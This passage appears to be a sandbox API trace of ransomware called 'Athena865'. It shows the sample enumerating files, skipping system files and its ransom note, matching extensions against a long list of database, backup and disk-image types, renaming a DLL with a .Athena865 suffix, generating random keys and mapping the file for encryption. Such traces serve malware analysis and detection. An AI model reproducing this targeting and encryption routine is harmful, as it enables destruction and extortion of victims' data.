returned 1 [0112.288] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0112.288] lstrlenW (lpString="bak") returned 3 [0112.288] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0112.289] lstrlenW (lpString="ba_") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0112.289] lstrlenW (lpString="dbb") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0112.289] lstrlenW (lpString="vmdk") returned 4 [0112.289] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0112.289] lstrlenW (lpString="rar") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0112.289] lstrlenW (lpString="zip") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0112.289] lstrlenW (lpString="tgz") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0112.289] lstrlenW (lpString="vbox") returned 4 [0112.289] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0112.289] lstrlenW (lpString="vdi") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0112.289] lstrlenW (lpString="vhd") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0112.289] lstrlenW (lpString="vhdx") returned 4 [0112.289] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0112.289] lstrlenW (lpString="avhd") returned 4 [0112.289] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0112.289] lstrlenW (lpString="db") returned 2 [0112.289] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0112.289] lstrlenW (lpString="db2") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0112.289] lstrlenW (lpString="db3") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0112.289] lstrlenW (lpString="dbf") returned 3 [0112.289] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0112.289] lstrlenW (lpString="mdf") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0112.290] lstrlenW (lpString="mdb") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0112.290] lstrlenW (lpString="sql") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0112.290] lstrlenW (lpString="sqlite") returned 6 [0112.290] lstrcmpiW (lpString1="CL.DLL", lpString2="sqlite") returned -1 [0112.290] lstrlenW (lpString="sqlite3") returned 7 [0112.290] lstrcmpiW (lpString1="XCL.DLL", lpString2="sqlite3") returned 1 [0112.290] lstrlenW (lpString="sqlitedb") returned 8 [0112.290] lstrcmpiW (lpString1="EXCL.DLL", lpString2="sqlitedb") returned -1 [0112.290] lstrlenW (lpString="xml") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0112.290] lstrlenW (lpString="$er") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0112.290] lstrlenW (lpString="4dd") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0112.290] lstrlenW (lpString="4dl") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0112.290] lstrlenW (lpString="^^^") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0112.290] lstrlenW (lpString="abs") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0112.290] lstrlenW (lpString="abx") returned 3 [0112.290] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0112.290] lstrlenW (lpString="accdb") returned 5 [0112.290] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0112.290] lstrlenW (lpString="accdc") returned 5 [0112.290] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0112.290] lstrlenW (lpString="accde") returned 5 [0112.291] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0112.291] lstrlenW (lpString="accdr") returned 5 [0112.291] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0112.291] lstrlenW (lpString="accdt") returned 5 [0112.292] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0112.292] lstrlenW (lpString="accdw") returned 5 [0112.292] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0112.293] lstrlenW (lpString="accft") returned 5 [0112.293] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0112.293] lstrlenW (lpString="adb") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.293] lstrlenW (lpString="adb") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.293] lstrlenW (lpString="ade") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0112.293] lstrlenW (lpString="adf") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0112.293] lstrlenW (lpString="adn") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0112.293] lstrlenW (lpString="adp") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0112.293] lstrlenW (lpString="alf") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0112.293] lstrlenW (lpString="ask") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0112.293] lstrlenW (lpString="btr") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0112.293] lstrlenW (lpString="cat") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0112.293] lstrlenW (lpString="cdb") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0112.293] lstrlenW (lpString="ckp") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0112.293] lstrlenW (lpString="cma") returned 3 [0112.293] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0112.294] lstrlenW (lpString="cpd") returned 3 [0112.294] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0112.294] lstrlenW (lpString="dacpac") returned 6 [0112.294] lstrcmpiW (lpString1="CL.DLL", lpString2="dacpac") returned -1 [0112.294] lstrlenW (lpString="dad") returned 3 [0112.294] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0112.294] lstrlenW (lpString="dadiagrams") returned 10 [0112.294] lstrcmpiW (lpString1="CEEXCL.DLL", lpString2="dadiagrams") returned -1 [0112.294] lstrlenW (lpString="daschema") returned 8 [0112.294] lstrcmpiW (lpString1="EXCL.DLL", lpString2="daschema") returned 1 [0112.294] lstrlenW (lpString="db-journal") returned 10 [0112.294] lstrcmpiW (lpString1="CEEXCL.DLL", lpString2="db-journal") returned -1 [0112.294] lstrlenW (lpString="db-shm") returned 6 [0112.294] lstrcmpiW (lpString1="CL.DLL", lpString2="db-shm") returned -1 [0112.294] lstrlenW (lpString="db-wal") returned 6 [0112.294] lstrcmpiW (lpString1="CL.DLL", lpString2="db-wal") returned -1 [0112.294] lstrlenW (lpString="dbc") returned 3 [0112.294] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0112.294] lstrlenW (lpString="dbs") returned 3 [0112.294] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0112.294] lstrlenW (lpString="dbt") returned 3 [0112.294] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0112.294] lstrlenW (lpString="dbv") returned 3 [0112.294] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0112.294] lstrlenW (lpString="dbx") returned 3 [0112.294] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0112.294] lstrlenW (lpString="dcb") returned 3 [0112.294] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0112.295] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0112.295] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.Athena865") returned 77 [0112.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.athena865"), dwFlags=0x1) returned 1 [0112.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.296] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=899992) returned 1 [0112.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.297] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.297] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.297] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.297] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdbea0, lpName=0x0) returned 0x154 [0112.299] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdbea0) returned 0x2d50000 [0112.342] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.343] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.343] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.344] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.352] CloseHandle (hObject=0x154) returned 1 [0112.352] CloseHandle (hObject=0x17c) returned 1 [0112.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.357] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".") returned 1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="..") returned 1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="windows") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="bootmgr") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="temp") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="pagefile.sys") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="boot") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="ids.txt") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="ntuser.dat") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="perflogs") returned -1 [0112.357] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2="MSBuild") returned -1 [0112.357] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0112.357] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEODBC.DLL" | out: lpString1="ACEODBC.DLL") returned="ACEODBC.DLL" [0112.357] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0112.358] lstrlenW (lpString="Athena865") returned 9 [0112.358] lstrcmpiW (lpString1="EODBC.DLL", lpString2="Athena865") returned 1 [0112.358] lstrlenW (lpString=".dll") returned 4 [0112.358] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".dll") returned 1 [0112.358] lstrlenW (lpString=".lnk") returned 4 [0112.358] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".lnk") returned 1 [0112.358] lstrlenW (lpString=".ini") returned 4 [0112.358] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".ini") returned 1 [0112.358] lstrlenW (lpString=".sys") returned 4 [0112.358] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".sys") returned 1 [0112.358] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0112.358] lstrlenW (lpString="bak") returned 3 [0112.358] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0112.358] lstrlenW (lpString="ba_") returned 3 [0112.358] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0112.358] lstrlenW (lpString="dbb") returned 3 [0112.358] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0112.358] lstrlenW (lpString="vmdk") returned 4 [0112.358] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0112.358] lstrlenW (lpString="rar") returned 3 [0112.358] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0112.358] lstrlenW (lpString="zip") returned 3 [0112.358] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0112.358] lstrlenW (lpString="tgz") returned 3 [0112.358] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0112.358] lstrlenW (lpString="vbox") returned 4 [0112.358] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0112.358] lstrlenW (lpString="vdi") returned 3 [0112.358] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0112.359] lstrlenW (lpString="vhd") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0112.359] lstrlenW (lpString="vhdx") returned 4 [0112.359] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0112.359] lstrlenW (lpString="avhd") returned 4 [0112.359] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0112.359] lstrlenW (lpString="db") returned 2 [0112.359] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0112.359] lstrlenW (lpString="db2") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0112.359] lstrlenW (lpString="db3") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0112.359] lstrlenW (lpString="dbf") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0112.359] lstrlenW (lpString="mdf") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0112.359] lstrlenW (lpString="mdb") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0112.359] lstrlenW (lpString="sql") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0112.359] lstrlenW (lpString="sqlite") returned 6 [0112.359] lstrcmpiW (lpString1="BC.DLL", lpString2="sqlite") returned -1 [0112.359] lstrlenW (lpString="sqlite3") returned 7 [0112.359] lstrcmpiW (lpString1="DBC.DLL", lpString2="sqlite3") returned -1 [0112.359] lstrlenW (lpString="sqlitedb") returned 8 [0112.359] lstrcmpiW (lpString1="ODBC.DLL", lpString2="sqlitedb") returned -1 [0112.359] lstrlenW (lpString="xml") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0112.359] lstrlenW (lpString="$er") returned 3 [0112.359] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0112.359] lstrlenW (lpString="4dd") returned 3 [0112.360] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0112.360] lstrlenW (lpString="4dl") returned 3 [0112.360] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0112.360] lstrlenW (lpString="^^^") returned 3 [0112.360] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0112.360] lstrlenW (lpString="abs") returned 3 [0112.360] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0112.360] lstrlenW (lpString="abx") returned 3 [0112.360] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0112.360] lstrlenW (lpString="accdb") returned 5 [0112.360] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0112.360] lstrlenW (lpString="accdc") returned 5 [0112.360] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0112.360] lstrlenW (lpString="accde") returned 5 [0112.360] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0112.360] lstrlenW (lpString="accdr") returned 5 [0112.360] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0112.360] lstrlenW (lpString="accdt") returned 5 [0112.360] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0112.360] lstrlenW (lpString="accdw") returned 5 [0112.360] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0112.360] lstrlenW (lpString="accft") returned 5 [0112.360] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0112.360] lstrlenW (lpString="adb") returned 3 [0112.360] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.360] lstrlenW (lpString="adb") returned 3 [0112.360] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.360] lstrlenW (lpString="ade") returned 3 [0112.360] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0112.360] lstrlenW (lpString="adf") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0112.361] lstrlenW (lpString="adn") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0112.361] lstrlenW (lpString="adp") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0112.361] lstrlenW (lpString="alf") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0112.361] lstrlenW (lpString="ask") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0112.361] lstrlenW (lpString="btr") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0112.361] lstrlenW (lpString="cat") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0112.361] lstrlenW (lpString="cdb") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0112.361] lstrlenW (lpString="ckp") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0112.361] lstrlenW (lpString="cma") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0112.361] lstrlenW (lpString="cpd") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0112.361] lstrlenW (lpString="dacpac") returned 6 [0112.361] lstrcmpiW (lpString1="BC.DLL", lpString2="dacpac") returned -1 [0112.361] lstrlenW (lpString="dad") returned 3 [0112.361] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0112.361] lstrlenW (lpString="dadiagrams") returned 10 [0112.361] lstrcmpiW (lpString1="CEODBC.DLL", lpString2="dadiagrams") returned -1 [0112.361] lstrlenW (lpString="daschema") returned 8 [0112.361] lstrcmpiW (lpString1="ODBC.DLL", lpString2="daschema") returned 1 [0112.361] lstrlenW (lpString="db-journal") returned 10 [0112.361] lstrcmpiW (lpString1="CEODBC.DLL", lpString2="db-journal") returned -1 [0112.362] lstrlenW (lpString="db-shm") returned 6 [0112.362] lstrcmpiW (lpString1="BC.DLL", lpString2="db-shm") returned -1 [0112.362] lstrlenW (lpString="db-wal") returned 6 [0112.362] lstrcmpiW (lpString1="BC.DLL", lpString2="db-wal") returned -1 [0112.362] lstrlenW (lpString="dbc") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0112.362] lstrlenW (lpString="dbs") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0112.362] lstrlenW (lpString="dbt") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0112.362] lstrlenW (lpString="dbv") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0112.362] lstrlenW (lpString="dbx") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0112.362] lstrlenW (lpString="dcb") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0112.362] lstrlenW (lpString="dct") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0112.362] lstrlenW (lpString="dcx") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0112.362] lstrlenW (lpString="ddl") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0112.362] lstrlenW (lpString="dlis") returned 4 [0112.362] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0112.362] lstrlenW (lpString="dp1") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0112.362] lstrlenW (lpString="dqy") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0112.362] lstrlenW (lpString="dsk") returned 3 [0112.362] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0112.362] lstrlenW (lpString="dsn") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0112.363] lstrlenW (lpString="dtsx") returned 4 [0112.363] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0112.363] lstrlenW (lpString="dxl") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0112.363] lstrlenW (lpString="eco") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0112.363] lstrlenW (lpString="ecx") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0112.363] lstrlenW (lpString="edb") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0112.363] lstrlenW (lpString="epim") returned 4 [0112.363] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0112.363] lstrlenW (lpString="fcd") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0112.363] lstrlenW (lpString="fdb") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0112.363] lstrlenW (lpString="fic") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0112.363] lstrlenW (lpString="flexolibrary") returned 12 [0112.363] lstrlenW (lpString="fm5") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0112.363] lstrlenW (lpString="fmp") returned 3 [0112.363] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0112.363] lstrlenW (lpString="fmp12") returned 5 [0112.363] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0112.363] lstrlenW (lpString="fmpsl") returned 5 [0112.363] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0112.364] lstrlenW (lpString="fol") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0112.364] lstrlenW (lpString="fp3") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0112.364] lstrlenW (lpString="fp4") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0112.364] lstrlenW (lpString="fp5") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0112.364] lstrlenW (lpString="fp7") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0112.364] lstrlenW (lpString="fpt") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0112.364] lstrlenW (lpString="frm") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0112.364] lstrlenW (lpString="gdb") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0112.364] lstrlenW (lpString="gdb") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0112.364] lstrlenW (lpString="grdb") returned 4 [0112.364] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0112.364] lstrlenW (lpString="gwi") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0112.364] lstrlenW (lpString="hdb") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0112.364] lstrlenW (lpString="his") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0112.364] lstrlenW (lpString="ib") returned 2 [0112.364] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0112.364] lstrlenW (lpString="idb") returned 3 [0112.364] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0112.365] lstrlenW (lpString="ihx") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0112.365] lstrlenW (lpString="itdb") returned 4 [0112.365] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0112.365] lstrlenW (lpString="itw") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0112.365] lstrlenW (lpString="jet") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0112.365] lstrlenW (lpString="jtx") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0112.365] lstrlenW (lpString="kdb") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0112.365] lstrlenW (lpString="kexi") returned 4 [0112.365] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0112.365] lstrlenW (lpString="kexic") returned 5 [0112.365] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0112.365] lstrlenW (lpString="kexis") returned 5 [0112.365] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0112.365] lstrlenW (lpString="lgc") returned 3 [0112.365] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0112.365] lstrlenW (lpString="lwx") returned 3 [0112.365] lstrcmpiW 